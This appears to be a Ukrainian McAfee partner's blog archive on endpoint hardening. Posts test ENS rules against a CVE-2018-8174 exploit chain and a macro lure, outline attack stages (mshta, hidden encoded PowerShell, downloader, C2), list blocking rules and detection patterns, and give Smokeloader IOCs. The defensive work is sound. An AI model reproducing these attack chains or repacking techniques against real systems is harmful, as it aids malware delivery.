Archive | McAfee RSS for this section

McAfee DLP vs Chrome 68

Увага. Важлива інформація для користувачів McAfee DLP Endpoint.

 

Google внесе зміни в роботу розширень Chrome починаючи з версії 68 (поточна – 67).

Таким чином починаючи з Chrome 68 правила Web Protection втрачають можливість блокувати публікацію даних.

Це пов’язано з тим, що Google змінює механізм роботи розширень (через які працює перехоплення DLP).

Фактично, з 68ї версії розширення будуть отримувати дані від браузера уже після здійснення upload.

Це значить, що у випадку публікації конфіденційної інформації через Google Chrome DLP Endpoint буде лише сповіщати, але не блокувати.

 

Що робити?

 

У вас є кілька сценаріїв як адаптуватися до цих змін:

  • обмежити Chrome парою правил Application File Access Protection та Clipboard Protection
  • на рівні proxy по User Agent обмежити доступ для Chrome, а трафік хмарних агентів перехоплювати через правила Cloud Protection
  • контролювати web на рівні Network DLP Prevent
  • скористатися функціоналом DLP на Web Gateway
  • посилити контроль через McAfee Skyhigh Security Cloud
  • заборонити використання Google Chrome

Детальніше про ситуацію з Chrome дивіться нижче:

Також допис на блозі McAfee: Google Chrome 68 Changes and Their Impact on Data Protection

Будьте уважні та обережні.

VR

Advertisements

9:1 або ENS10.6 vs IE exploit

Як правильно користуватися антивірусом, або чому я працюю з McAfee (частина #2)

Усім привіт!

Як людина, якій дуже часто доводиться мати справу з шкідливим кодом, я підготував для вас свіжий контент)

Продовжую знайомити вас із захисними механізмами, які приховує в собі ENS 10.6

Якщо хто пропустив першу частину (аналіз ефективності проти документу з макросом) – раджу почати з неї.

Ті, хто мене добре знають, вже розуміють, що я користуюся та налаштовую ENS не як антивірус, а як модуль аналізу поведінки. Просто я розумію, що в умовах сучасних масових/цільових атак файлові сигнатури та навіть хмарна репутація будуть запізнюватися. Тому я роблю ставку на інші методи захисту.

Але ближче до справи – вчора мені на очі трапилася реалізація експлойту #CVE-2018-8174 для доставки шкідливого коду. На відміну від попереднього прикладу, який я використав для розгляду можливостей ENS, цього разу для активації атаки достатньо перейти за посиланням через непатчений Internet Explorer (виправлення MS опублікували ще 08/05/18).

Це трохи відрізняється, від фішингу, де жертві усе ще треба відкрити документ або активувати скрипт. Тут усе зробить браузер.

Навіть виконає ескалацію привілеїв із обходом UAC. А це вже серйозно.

Кому потрібні деталі по експлойту – знайдете їх тут, а ми переходимо до захисту.

Перш ніж почати перевіряти надійність ENS, давайте змінимо стандартні (My Default) налаштування на більш посилені. Нижче я наведу приклади максимально жорстоких правил.

Увага! Не намагайтеся одразу перенести їх на свою інфраструктуру.

В кожному конкретному випадку, залежно від типу системи та характеру використання по цим правилам будуть свої списки виключень, а для деяких установ вбудовані правила краще замінити на додаткові користувацькі.

#1 Активуємо вбудовані правила з блоку Access Protection

(оскільки ми не знаємо на перед механізму дії експлойту то активуємо їх усі)

 

#2 Додаємо користувацьке правило для блокування нових .exe

(примітивне, проте захищає від 90% атак не залежно від типу обгортки/приманки)

#3 Додаємо правило заборони перехресного виклику

(захистить від приманок що залучають PowerShell – 70% )

#4 Для кращого контролю PowerShell активуємо додаткові сигнатури Exploit Prevention

(дозволить блокувати кодовані команди, приховані виклики і таке інше)

#5 Додамо користувацьке правило брандмауера для блокування вихідного трафіку

(захистить від довантаження payload у разі спрацювання 0day на інструменти ОС)

#6 Переглянемо параметри Web Control

(активуємо перевірку репутації файлів та посилань згідно хмари McAfee GTI)

#7 Перевіримо спрацювання користувацького правила Access Protection

(щоб пересвідчитися що шлях заданий вірно і захист вже активовано)

 

Ось тепер наша піддослідна тестова машина готова до зустрічі з експлойтом, спрацювання якого веде до запуску проміжного downloader`а та довантаження основного тіла троянського шкідливого коду.

 

Схема даної атаки (спрощена):

  1. Жертва переходить на інфіковану сторінку що містить експлойт
  2. Internet Explorer починає обробляти вміст сторінки, зокрема VBS скрипт
  3. Вразливість приводить до екскалації привілеїв в обхід UAC
  4. Internet Explorer виконанує довільний код – в даному випадку запуск mshta
  5. Далі відбувається обробка hta файлу що містить команди для PowerShell
  6. Виконується прихований запуск PowerShell для завантаження та запуску downloader`а
  7. Далі downloader перевіряє параметри системи та довантажує основне тіло payload

 

І так, шановні читачі, леді та джентльмени, увага! Почнемо шоу.

У синьому кутку рингу – експлойт CVE-2018-8174, все ще активний та небезпечний для тих, то не оновлює систему.

А у червоному кутку рингу – оновлений McAfee ENS із посиленими політиками.

Бій до останнього. Почали.

 

#1 Перший контакт – переходимо за посиланням і …

Web Control блокує обробку сторінки по репутації за даними GTI.

Система не ушкоджена.

1:0 на користь ENS

 

Вимикаємо Web Control адже наступна (інша) атака може проходити з URL який буде мати нормальну репутації (зламаний сайт державної установи або комерційної організації)

* а для тих, хто користується Web Gateway мій колега Олег перевірив захист на рівні web proxy:

 

#2 Другий раунд, повторна спроба переходу за посиланням і …

Отримуємо одразу два блокування. По порядку.

Друга атака експлойту блокується сигнатурою 6048 модулю Exploit Prevention – махінації із стеком, переповнення буферу.

Система не ушкоджена.

2:0 на користь ENS

 

Вимикаю блок по сигнатурі 6048 адже наступна (інша) атака може не стосуватися буферу.

 

#3 Третій раунд, повторна спроба переходу за посиланням і …

Друга атака експлойту блокується OnAccess Scan (OAS) по сигнатурі CVE яка спрацювала на вміст VBS в коді сторінки.

Система не ушкоджена.

3:0 на користь ENS

 

Вимикаю блок по сигнатурі 6048 адже наступна (інша) атака може використовувати експлойт, на який ще не буде сигнатури OAS.

 

#4 Четвертий раунд. Експлойт уже виснажений і намагається скавчати, проте бій продовжується.

Знову переходимо за посиланням і …

Спрацьовує вбудоване правило Access Protection (яке по замовчуванню вимкнене).

ENS блокує спробу IE внести зміни до реєстру (механіка вразливості).

Система не ушкоджена.

4:0 на користь ENS

 

Вимикаю блок для правила Access Protection адже наступна (інша) атака може застосовувати інші механізми.

 

#5 Рефері витягує наляканий експлойт з канатів знову на ринг. Бій продовжується.

Знову переходимо за посиланням і …

Спрацьовує користувацьке правило брандмауеру яке забороняє процесу MSHTA встановити вихідне з’єднання для обробки hta файлу, який містить команди для PowerShell.

Експлойт відпрацював, але обробка інструкцій і завантаження шкідливого коду не відбулися.

Усе чим відбувся користувач – помилка в роботі браузера.

Система не ушкоджена.

5:0 на користь ENS

 

Вимикаю блок для користувацького правила брандмауера адже наступна (інша) атака може застосовувати інші вбудовані механізми ОС в якості транспорту.

 

#6 Експлойт пригнічений та деморалізований. Лунає сигнал до бою.

Знову переходимо за посиланням і …

Експлойт спрацьовує, MSHA оброблює hta файл і намагається викликати PowerShell..

Але ENS спокійно (як Нео в фільмі “Матриця”) блокує цей підступний прийом завдяки користувацькому правилу Access Protection яким ми заборонили перехресний виклик cmd, powershell та mshta.

Система не ушкоджена.

6:0 на користь ENS

 

Вимикаю блок для користувацького правила Access Protection адже наступна (інша) атака може застосовувати інші вбудовані механізми ОС в якості транспорту.

 

#7 Навряд чи в реальних умовах жертва буде продовжувати спроби перейти за посиланням вже після перших блокувань, але наш бій продовжується.

Експлойт не полишає надії, адже ENS стримує атаки уже з відключеними 6ма захисними механізмами.

Знову переходимо за посиланням і …

Цього разу експлойт спрацьовує, MSHA оброблює hta файл і намагається викликати PowerShell..

Але ENS тримає удар! Завдяки сигнатурі 6070 яка відрізняє прихований виклик PowerShell.

Система не ушкоджена.

7:0 на користь ENS

 

Вимикаю блок по сигнатурі 6070 адже наступна (інша) атака може використовувати інший механізм доставки шкідливого коду.

 

#8 Восьмий раунд. Глядачі завмерли в очікуванні.

Експлойт біситься, адже перша фаза атаки проходить (і це лише після того як ми послабили захист ENS на 7 різних пунктів), але інфікування системи не відбувається.

Експлойт не завдає шкоди системі. Зловмисники не отримають результату.

Під галас глядачів рефері знов виштовхує переляканий експлойт на ринг. Лунає сигнал до бою.

Знову переходимо за посиланням і …

PowerShell виконує передані на цього інструкції і намагається завантажити та записати файл downloader`а..

Але знову ENS перемагає! Спрацьовує вбудоване правило Access Protection яке блокує створення нових файлів у каталозі Windows (правило по замовчуванню вимкнене).

Зверніть увагу, що в даному випадку, завдяки ескалації привілеїв, зловмисники намагаються записати .exe не в каталог користувача, а у C:\Windows\Temp, куди звичайному користувачу доступу нема.

Також зауважте, в даному випадку користувацьке правило на створення та запуск .exe у C:\Users\**\ не знадобилося, але у тих випадках, коли атака проходить без ескалації привілеїв вони вас захистить.

Система не ушкоджена.

8:0 на користь ENS

 

Вимикаю блок для користувацького правила Access Protection адже наступна (інша) атака може записувати файли в інші каталоги.

 

#9 Я думаю, що читачам уже й так усе зрозуміло. Але ж бій має йти до кінця, так?

Експлойт знає, що ENS майже повністю деактивований, функціонує менша частина захисту.

На цьому місці глядачі (читачі) згадують кульмінацію фільмів “Роккі” з Сильвестром Сталлоне ))

Дев’ятий раунд.

Знову переходимо за посиланням і …

експлойт проводить нокдаун завантаження та запуск downloader`а.

Перший удар, який ENS пропустив (після деактивації 8 ешелонів захисту!)

Усі завмерли. Експлойт, нападники уже відкорковують шампанське, так, шкідливий .exe-шник запустився на системі..

Але що це?

На останньому подиху ENS через брандмауер блокує спробу downloader`а з’єднатися із С2 і не дозволяє довантажити payload.

Система скомпрометована, проте ексфільтрації даних та довантаження payload не відбулося.

9:1 на користь ENS

 

Ображений експлойт скавчить, тікає з рингу і забивається у темний куток))

Якось так =)

Щоб вам було цікавіше це читати, я намагався подати мої екзерсиси з тестуванням як боксерський раунд. Сподіваюсь, це на завадило вам зрозуміти основний меседж – навіть без сигнатур, в умовах 0day атаки, за умови правильних політик, ENS може надійно протистояти широкому діапазону атак, як через фішинг так і через експлойти вбудованих механізмів ОС.

Зрозуміло, що на практиці, бізнес не стане працювати з усіма обмеженнями які я задіяв в даному випадку, але порівняно із “просто файловим сканером”, McAfee ENS надає вам можливості адаптувати захист під ваші умови.

Якщо ви навчитеся користуватися усім функціоналом ENS, а не лише OAS, тоді відсутність своєчасних оновлень Windows чи Office не буде становити високої загрози для ваших систем.

 

Ще раз звертаю увагу, що параметри/політики в даному тесті були не default.

І я закликаю вас не використовувати політики по замовчуванню.

Висновки робіть самі:

  • Default політики – Web Control, OAS, Exploit Prevention 6048 – 3 (три) блоки до зараження
  • Активація базових правил – Web Control, Exploit Prevention 6048, OAS, AP_reg, Exploit Prevention 6070, AP_exe_Win – 6 (шість) блоків до зараження
  • Базові + користувацькі – Web Control, Exploit Prevention 6048, OAS, AP_reg, Firewall-1, AP_2ps, Exploit Prevention 6070, AP_exe_Win, Firewall-2 9 (дев’ять) блоків до зараження

Сподіваюсь, дана публікація буде корисною як для користувачів McAfee так і для тих, хто користується іншими засобами захисту – а ви на базі свого рішення такі заборони ввести можете?

Залишайтеся з нами.

Слідкуйте за нашою сторінкою в FaceBook

Усім гарного дня.

Будьте уважні та обережні.

Знайте вашу зброю та вмійте нею користуватися.

VR

ENS 10.6 – посилений захист

12 червня відбувся реліз оновленої версії McAfee Endpoint Security 10.6

– провідного модульного рішення для захисту Windows систем.

Тим, хто не знайомий з антивірусом McAfee взагалі, я рекомендую швидко переглянути

мою коротку інструкцію по правильному застосуванню ENS – щоб краще розуміти можливості ENS.

Давайте розглянемо якісні зміни порівняно із лінійкою 10.5.х, адже не секрет, що для замовників,

котрі здійснили міграцію з VSE або інших АВ, основним робочим інструментом зараз є 10.5.3 / 10.5.4

Але переш ніж перейти до розгляду новин по Windows-версії антивірусу, давайте я зазначу 2 моменти, які мене особисто дуже тішать:

Для оператора консолі ePO це серйозно посилює контроль за не-Windows системами.

 

А тепер що стосується Endpoint Security 10.6 (Windows)

#1 оновлення із попередніх версій

Щоб спростити замовникам процедуру переходу на актуальну версію, McAfee створили

Endpoint Upgrade Assistant, який аналізує версії поточних модулів та приймає рішення – чи можна

оновитися одразу, чи потрібне видалення застарілого продукту. Як результат – менше помилок в процесі розгортання.

Як бонус, Endpoint Upgrade Assistant може автоматично разом з ENS оновити і модуль Active Response (якщо такий використовується).

Варто зазначити, що у мене на одній із тестових систем standalone 10.5.3 цілком коректно оновився до 10.6 із збереженням моїх політик:

#2 підтримка 1803 Windows 10 та Windows Server 2016

Тут усе просто – замовники, яким потрібен захист оновлених версій серверів та робочих станцій можуть одразу розгортати 10.6 (або оновити 10.5.4 до 10.6)

#3 зміни у блоці Threat Prevention

  • інтеграція із MS Antimalware Scan Interface (AMSI) для Windows 10 та 2016 – якщо MS вбудовує АВ в систему, то чому б цим не скористатися?
  • логи спрацювання правил Exploit Prevention тепер містять ключі команд – так легше відрізняти реальні загрози від false-positive
  • мої улюблені правила Access Protection поповнилися ще двома – WSL та Doppelganging
  • можливість активації глобальних виключень та можливість робити виключення за IP адресами

#4 зміни у блоці Web Control

  • нарешті полагодили підтримку актуальних браузерів (FF, Chrome)
  • запити на GTI по перевірці завантажуваних файлів тепер по SHA-256 замість MD5

#5 зміни у блоці Firewall

  • можливість прийняття рішення якщо GTI не доступний

#6 зміни у блоці Adaptive Threat Protection

  • окремий параметр по перевірці мережевих дисків
  • можливість запускати Real Protect в offline без TIE чи GTI
  • Observe Mode тепер з коробки вимкнутий
  • запити на GTI по перевірці файлів тепер по SHA-256 замість MD5
  • DAC може блокувати довірені процеси при спробі обробки недовіренних DLL

#7 зміни по роботі із документацією

Новий портал для пошуку документації по рішенням McAfee:

https://docs.mcafee.com/

Досить зручно та швидко, як альтернатива PDF файлам.

На цьому короткий огляд завершено.

Більш детальна інформація:

Endpoint Security 10.6 – Release Notes

Endpoint Security 10.x – Supported operating systems

Endpoint Security 10.6 – Known Issues

Будьте уважні та обережні.

Знайте можливості ваших засобів захисту та не залишайте політики By Default!

Слідкуйте за оновленнями.

VR

McAfeeCybersecForum

31го травня  ми приймали участь у #McAfeeCybersecForum.

Раджу ознайомитися із слайдами. Суто технічний контент.

 

Моя доповідь стосувалася sandbox`у McAfee ATD та його інтеграції з Cisco, Fortinet та ін. рішеннями.

В презентації є слайди з демо TIE та DLX / OpenDXL іще кілька цікавинок (кейс про макрос та Нацполіцію)

Кому не зручно, можуть взяти pdf (~3 Mb)

 

Олег розповідав про практичне застосування McAfee NSP та Web Gateway.

Наводив багато цінних порад:

Кому не зручно, можуть взяти pdf (~6 Mb)

Будьте уважні та обережні.

Слідкуйте за нашою сторінкою у Facebook

https://www.facebook.com/Optidata.com.ua/

VR

Application Control standalone how-to

Доброго ранку, панове.

На ваші численні прохання наш фахівець Олег Лободін підготував коротку інструкцію з налаштування McAfee Application Control.

Це рішення застосовується для заборони запуску будь якого несанкціонованого коду (скрипти, додатки та інше).

 

Інструкція у вигляді PDF файлу (~ 350 KB) доступна за посиланням: McAfee AC Standalone

 

Справа у тому, що частина організацій, які користуються захистом кінцевих точок McAfee, мають ліцензії і на цей модуль також.

Але його використання вимагає певної послідовності дій, а більшість для простоти обирають лише антивірус.

Інструкція буде корисна тим, кому необхідно налаштувати контроль запуску додатків у закритих ланках мережі, без доступу до консолі еРО.

 

Будемо вдячні за критику, зауваження та ваші побажання.

Залишайтесь з нами. Попереду ще багато цікавого та важливого контенту.

Будьте уважні та обережні.

VR

why McAfee ? (ENS how to)

“выигрывает вовсе не тот, кто умеет играть по всем правилам;

выигрывает тот, кто умеет отказаться в нужный момент от всех правил,

навязать игре свои правила, не известные противнику, а когда понадобится — отказаться и от них…”

(с) Братья Стругацкие, “Град обреченный”

Як правильно користуватися антивірусом, або чому саме McAfee?

Усім привіт.

Нещодавно я мав честь виступати перед публікою на #Security Forum Kyiv.

Розповідав я про історію успіху одного із наших замовників (презентація у pdf), якому ми допомагали із побудовою комплексного захисту із застосуванням рішень McAfee.

Наприкінці доповіді один із слухачів запитав мене – чому я вже більше чотирьох років займаюся рішеннями McAfee?

Оскільки я був обмежений регламентом, у мене не було можливості надати вичерпну відповідь.

Давайте я вам покажу чому ж я віддаю перевагу захисту McAfee.


Перш ніж переходити до практичних екзерцисів давайте одразу чітко визначимось:

#1 ми не будемо покладатися на сигнатури.

ми достатньо освічені люди щоб усвідомлювати – один і той же зразок можна пропустити через то й же Veil , а потім вбудувати отриманий перепакований та пошифрований .exe-шник у цілком пристойний документ використовуючи широкий спектр вразливостей MS Office, наприклад 11882. Саме тому сидіти і чекати доки вендор антивірусу додасть чергову сигнатуру на документ-приманку по сьогоднішній розсилці (а завтра їх буде ще більше) – це програшна тактика. Як людина, котра більше 4х років займається тех. підтримкою я достатньо наслухався типових звернень “а ваш антивірус не розпізнав нову приманку із тисячі, він поганий, ось результати VirusTotal“.. Скажу так – моя задача як інженера показати вам що варто не влаштовувати лови на конкретний зразок (яких щодня генерують тисячами), а розбиратися із механікою і перекривати канали доставки.

#2 коли мова йде про спробу доставити шкідливий код через фішинг із соц. інженерією – ми можемо робити усе що нам заманеться, але рівно до того моменту, доки не запуститься основна частина (як правило .exe файл).

Все. Якщо це сталося – ми втратили систему, навіть якщо зразок не призвів до шифрування файлів. Чому так? Тому що у нас немає права на помилку. Просто тому що правильно побудована стратегія захисту не повинна розбиратися – що прилетіло сьогодні – троян чи шифрувальщик? Запуск шкідливого коду це вже інцидент. І досить часто замовникам не вистачає часу/бажання а іноді й компетенції щоб розбиратися – чи достатньо просто видалити сам файл, чи система уже переналаштована?

“А мы ошибаться не должны. Нам разрешается прослыть невеждами, мистиками, суеверными дураками. Нам одного не простят: если мы недооценили опасность. И если в нашем доме вдруг завоняло серой, мы просто не имеем права пускаться в рассуждения о молекулярных флуктуациях — мы обязаны предположить, что где-то рядом объявился черт с рогами, и принять соответствующие меры, вплоть до организации производства святой воды в промышленных масштабах.” (с) Братья Стругацкие, “Жук в муравейнике”

Знову ж таки, тут моя задача – зробити так, щоб у користувача-потенційної жертви не було можливості активувати приманку і запустити процес інфікування, і байдуже що там прилетіло. Це я (коли у мене є час та натхнення) можу займатися (і займаюся) аналізом зразків. А бізнес не буде чекати, доки ІТ/ІБшнік розколупає черговий семпл. Бізнесу треба щоб процеси не припинялися. Саме тому, наше завдання не ганятися за черговою мільярдною сигнатурою, а зробити усе можливе, щоб якщо фішинг все ж таки пройшов крізь фільтри, а жертва-користувач проявив людську необачність і перейшов за посиланням/відкрив приєднання – нічого не сталося. Щоб приманка не спрацювала і нападники облажалися по повній. Щоб вони витрачали час, зусилля і кошти знов і знов у спробах пройти захист, а ми просто відстежували чергову пачку спрацювань і займалися більш важливими справами ніж аналіз маркерів по черговій, сотій/тисячній розсилці.

Ви можете з якихось невідомих мені причин не поділяти мою точку зору по цим двом моментам, але дочитайте до кінця статті, і можливо ви зміните свою думку.


Не будемо брати якийсь уявний інцидент, давайте подивимось чого вартий правильно налаштований McAfee Endpoint Security проти останньої розсилки, яку ми детально розібрали.

Давайте уважно поглянемо на послідовність атаки:

  • жертва відкриває файл-приманку, у даному випадку надбудова Excel (xlam)
  • макрос, який міститься у файлі активується і передає кодовані інструкції на PowerShell
  • PowerShell завантажує, записує на диск та запускає основну частину

Наше поле битви – рівно до моменту запуску завантаженої основної частини. Якщо ми не зупинили атаку до цього – ми програли.

Отже, що ми можемо зробити у випадку, коли в компанії макроси використовуються і їх заборона на є прийнятною? Дозволю собі процитувати уривок із переліку контрзаходів:

  • Блокування мережевих запитів із локальної мережі з User Agent Mozilla/4.08 (Charon; Inferno) – не на рівні кінцевих точок
  • Заборона запуску макросів (параметри пакету MS Office або реєстр ОС або GPO) – бізнесу потрібні макроси, вимкнути їх не варіант
  • Блок запуску дочірніх процесів для додатків MS Office (Excel > CMD > PowerShell) – GPO або правило Access Protection
  • Блок запуску PowerShell з кодованими командами – GPO або сигнатури блоку Exploit Prevention ENS
  • Блокування доступу до мережі Інтернет для процесів PowerShell
  • Заборона створення та зчитування/запуску *.EXE з каталогів профілю користувача %appdata%, а не лише у %temp% !

Давайте я покроково продемонструю вам як це зробити засобами базового антивірусу McAfee ENS.

Отож я нагадаю, що поточна версія McAfee ENS може включати такі модулі:

  • ENS Platform – GUI, основний framework на базі якого запускаються інші компоненти
  • ENS Threat Prevention – антивірусне ядро + перехоплення експлойтів + блок HIPS + політики Access Protection
  • ENS Firewall – мережевий брандмауер із центральним керуванням з єдиної консолі McAfee ePO
  • ENS Web Protection – клієнтська веб-фільтрація, перевірка репутації та категоризація URL
  • ENS Adaptive Threat Protection – розширений захист, механізми DAC, Real Protect та передача файлів на ATD*

Мінімальний комплект – Platform + Threat Prevention. Усе інше – за бажанням.

*Adaptive Threat Protection в базовий комплект не входить. В рамках даного допису його не застосовуємо тому його вимикаю.

Трохи про можливості модулю ENS Threat Prevention:

  • OAS, ODS сканування – перевірка по DAT та GTI
  • Упередження використання експлойтів, контроль операцій в пам’яті системи
  • Сигнатурний HIPS, блокування відомих вразливостей як локально так і на рівні мережевого трафіку (привіт MS17-010)
  • Мої улюблені правила захисту доступу або ж Access Protection

Оскільки ми з вами на початку домовилися сигнатурами не користуватися, я вимикаю OAS сканування, а ODS відключаю від GTI.

Одразу попереджаю усі знімки екрану, які я буду наводити відображають не стандартні, не стокові (My Default) політики.

(Увага!) не повторюйте це на продуктиві, без підготовки та знань це може призвести до небажаних наслідків та інфікування систем


Отож почнемо з налаштування згідно переліку контрзаходів.

#1 Блок запуску дочірніх процесів для додатків MS Office (Excel > cmd > PowerShell)

У випадку коли макроси потрібні по роботі і їх не можна просто вимкнути, щоб вберегтися від документів приманок ми можемо заблокувати запуск дочірніх процесів від імені додатків пакету MS Office. Ну розсудіть самі – невже штатний режим роботи із документами Word та Excel передбачає запуск CMD та/або PowerShell ? Якщо я відкриваю документ, то  я очікую попрацювати з документом і зберегти його, я не очікую виконання якихось команд в фоні, правда ж?

Дану задачу досить просто і швидко закрити засобами правил Access Protection, увага на екран знімки екрану:

Створюємо дубль політики Access Protection, переходимо у новостворену політику і додаємо нове користувацьке правило з наступними умовами:

Вище ми вказали кому ми забороняємо запускати, далі ми створюємо Subrule щоб вказати що саме ми блокуємо:

Зберігаємо зміни в політиці, призначаємо політику групі систем, виконуємо виклик McAfee Agent щоб система швидко застосувала нову політику. Запускаємо документ і спостерігаємо за результатом:

Ой, я правда не очікував цього, чесно. Я збирався продемонструвати вам роботу Access Protection, а ENS відстежив і заблокував роботу макросу через переповнення буферу. Я ж попереджав, що у мене політики не стокові.

Ок, 1:0 на користь McAfee. Давайте вимкнемо механізм DEP щоб отримати спрацювання по Access Protection:

Запускаємо документ вдруге і спостерігаємо за результатом:

Ок, 2:0 на користь McAfee. Давайте вимкнемо блокування для нашого правила Access Protection і перейдемо до наступного пункту:

#2 Блок запуску PowerShell з кодованими командами (-e, pOWErshELL -EncODeDCOMmaNd)

В аналізі розсилки, приманку якої ми препаруємо ви можете бачити, що макрос містить кодовані у base64 інструкції, що через cmd передаються на powershell. У тому випадку, якщо адміністратори широко застосовують powershell для рутинних задач, можна не повністю блокувати запуск powershell, а з певними параметрами. У цьому нам допоможе HIPS, який інтегровано у модуль ENS Threat Prevention, дивіться уважно:

Отже я активував сигнатури 6108 та 6087 які дозволяють мені блокувати підозріле використання PowerShell. Втретє відкриваємо документ-приманку:

Ок, 3:0 на користь McAfee. Вимикаю сигнатури і переходимо до наступного пункту.

#3 Блокування доступу до мережі Інтернет для процесів PowerShell

А дійсно – наскільки часто в штатному режимі роботи powershell з клієнтських машин повинен завантажувати з Інтернет файли? Якщо це не є ключовим моментом роботи оператора АРМ чи працівника департаменту HR, то давайте це заблокуємо засобами модулю ENS Firewall:

Правило Firewall доволі просте – я забороняю мережеву активність для певного переліку додатків:

Отже я створив та активував правило для ENS Firewall яке дозволяє мені блокувати трафік процесу PowerShell. Відкриваємо документ-приманку в четвертий раз:

Хм, ми бачимо спрацювання Access Protection по іншому правилу – blk_exe_prof (заборона створення файлів типу .exe у каталозі користувача), але зовсім не Firewall (ті які видно в списку – 16:16 – 16:28 не мають відношення до powershell, то блок broadcast). Чому? Усе просто – я забув вимкнути наперед створене правило Access Protection, а при завантаженні файлів спершу виконується функція створення файлу, а вже потім його завантаження. Отже спроба створити файл була заблокована, а передачі мережевих пакетів так і не відбулося. Давайте вимкнемо блокування по правилу AP, бо це буде наступним пунктом і все ж таки побачимо спрацювання брандмауера:

Тепер у мене створення файлів не блокується і ми відкриваємо документ-приманку вп’яте:

Ок, 4:0 на користь McAfee. Вимикаю брандмауер і переходимо до наступного пункту.

#4 Заборона створення та запуску *.EXE з каталогів профілю користувача %appdata%

О, це справді досить суперечливий метод, проте максимально дієвий. Справа у тому, що 90% усього шкідливого мотлоху, який потрапляв мені до рук за останні ~3 роки, не залежно від форми та типу обгортки, в кінцевому результаті призводив до створення (завантаження або генерація) нового .ехе файлу у каталозі користувача.

Так, я знаю, що по цьому правилу буде багато, досить багато false positive завдяки сучасним програмістам, які вважають, що записати додаток у каталог користувача це простіше і легше а ніж помістити його у Program Files і навести лад із дозволами…

Але зрозумійте одне – варто один раз витратити кілька годин щоб прописати необхідні виключення і ми отримаємо універсальний захист від різноманітних розсилок, навіть від тих обгорток та вразливостей, які ще не застосовувалися. Адже ми блокуємо фінальний етап атаки – запис та запуск шкідливого додатку. Дивіться самі як це працює:

Важливо!

Останнім часом замість %temp%, payload усе частіше записують у %AppData% або ж у Public тому правильна умова для правила – C:\Users\*\**\*.exe

Отже одним або двома правилами (якщо розносити блок запису та запуску окремо) ми забороняємо усім процесам (мінус виключення) створювати та запускати .exe файли із AppData. Відкриваємо документ-приманку вшосте:

Хм, спрацювання є, але не потому каталогу, в якому ми очікували основну частину. Давайте поглянемо на WireShark:

Але ж я обіцяв вам показати усі способи захисту в дії. Що ж скористаємося засобами PowerShell для завантаження цілком легітимного файлу – пакету 7zip:

Правило blk_exe_prof_create відпрацювало як і було задумано – сповістило проте не блокувало. А тепер давайте спробуємо запустити .exe :

Отже 5:0 на користь McAfee. Навіть якщо payload усе ж таки буде доставлено та записано через 0day вразливість ми тупо блокуємо його запуск.

І лише після деактивації блокування для правила blk_exe_prof_create жертва зможе запустити умовний payload і відбудеться інфікування системи:


Таким чином, як ви самі можете тепер бачити, щоб інфікувати систему мені довелося вимкнути 5 різних механізмів захисту.

І це без сигнатур, в яких на момент тестування payload уже був:

Порівняйте це з простим очікуванням доки виробник антивірусу обробить запит постраждалого замовника і нарешті додасть черговий зразок у базу сигнатур. А наступного дня їх буде ще більше і сигнатур уже не буде розповсюджуватися на них…

Зверніть увагу – замість того, щоб зациклюватися на конкретному зразку, я блокую канали доставки. Таким чином я прибираю у користувача можливість помилитися і стати жертвою. Я не покладаюся на шлюзи/фільтри та сигнатури – я просто знаю як працює той чи інший тип приманок і перерізаю їм роботу, навіть не замислюючись що це було – черговий ransomware чи trojan. Коли чергова фішингова розсилка буде відбиватися вищенаведеними правилами – тоді у ІТ/ІБ фахівців буде час розбиратися із дійсно важливими та складними атаками, а не вовтузитися із кожною новою хвилею примітивщини. А поки для нашого сегменту атаки на кшталт badrabbit будуть сприйматися і розганятися по ЗМІ як “супер-пупер-мега-складна” атака – ми залишатимемося вразливими для більш тонких і справді складніших операцій.

Так, по замовчуванню, одразу після розгортання продукту політики потрібно переналаштувати. Але зверніть увагу, що показані мною правила не “заточені” під конкретний зразок чи ба, навіть, під конкретну розсилку, адже приміром блок створення дочірніх процесів захистить мене не лише від макросу але й від 11882 чи DDE, а блокування кодованих команд PowerShell від інших способів атаки, наприклад OLE. Що ж до блокування створення та запуску нових .exe – цей спосіб вельми універсальний, потрібно лише правильно прописати виключення.


Отже ми з вами на прикладі одного документу із макросом розглянули реалізацію наступних механізмів захисту:

  • Блок запуску дочірніх процесів для додатків MS Office (Excel > CMD > PowerShell) – ENS Access Protection
  • Блок запуску PowerShell з кодованими командами – ENS Exploit Prevention
  • Блокування доступу до мережі Інтернет для процесів PowerShell – ENS Firewall
  • Заборона створення та запуску нових *.EXE файлів з %userprofile%, а не лише у %temp% – ENS Access Protection

Крім того, ми отримали ще додаткове спрацювання Exploit Prevention на переповнення буферу при активації макросу (не стандартні політики, максимальний захист).

Так, частину із описаних вище контрзаходів можна реалізувати засобами ОС, проте дозвольте вам зауважити, що замовник, який правильно експлуатує  захист кінцевих точок, може оперативно вносити зміни в політики захисту, адаптуючи систему захисту під нові види загроз. І це в базовому варіанті, без можливостей розширеного захисту із застосуванням ENS Adaptive Threat Protection.

Слідкуйте за маркерами, знайте свою зброю проти сучасних загроз, вмійте правильно її використовувати та пам’ятайте – головне не конкретний зразок шкідливого коду, а перекритий канал доставки.

Будьте уважні та обережні!

 

VR

IOC_smokeldr_150218

Доброго вечора, панове.

Сьогодні було зафіксовано повторну спробу доставки троянського коду типу Smokeloader (Chanitor).

Схема та ж сама, що ми вже бачили 30го числа та 6го числа.

Користувачі захисту кінцевих точок McAfee зверніть увагу – сам завантажувач та майнер детектуються.

Трохи аналітики:

  • Доставка – через обфусковані JS скрипти оболонці ZIP
  • Скрипт містить одну чітко вказану адресу, а основна частина записується з чітко заданим іменем файлу
  • Був використаний той же скрипт та ім’я сайту з минулої та позаминулої розсилки
  • Завантаження основної частини відбувається не через WSH, а засобами Powershell
  • Запуск шкідливого коду не потребує прав Адміністратора
  • Цього разу цикл роботи повний – smokeloader спричинив завантаження та запуск Monero Miner.

 Схема атаки:

email > Attach (ZIP) > JS > WSCRIPT > CMD > Powershell > single hardcoded URL > GET > %temp%\11054.exe  (минулого разу - 63753.exe, позаминулого разу - 5541.exe)

Маркери IOC:

Приєднання (архів):

File name   Перечень.zip

SHA-256        ce848bb1cd63e5d12fe1a2da7b9f487282b061418dd5c8fcd6cf84b7456a3235

File size      21.72 KB

 

скрипт приманка:

File name   Описание продукции.js

SHA-256        4e54a1d40d583c655605a47ea36f69ea16bcc8df4e4d72370e3ebcfe71134a54

File size      18.88 KB

основна частина:

File name   crsse.exe >> 11054.exe >> rtdiubth.exe

SHA-256        5e8f227c91db834f536a016d014a277dd89f1e3b3e939761dc4847e260e9a89a

File size      300 KB

Monero miner:

File name   curl.exe

SHA-256    fc9a32ecce00b4b2d711fe9bda120c9f82f3c2405f3658d30f4dbdac5cedde26

File size      986.5 KB

Мережеві IOC:

 

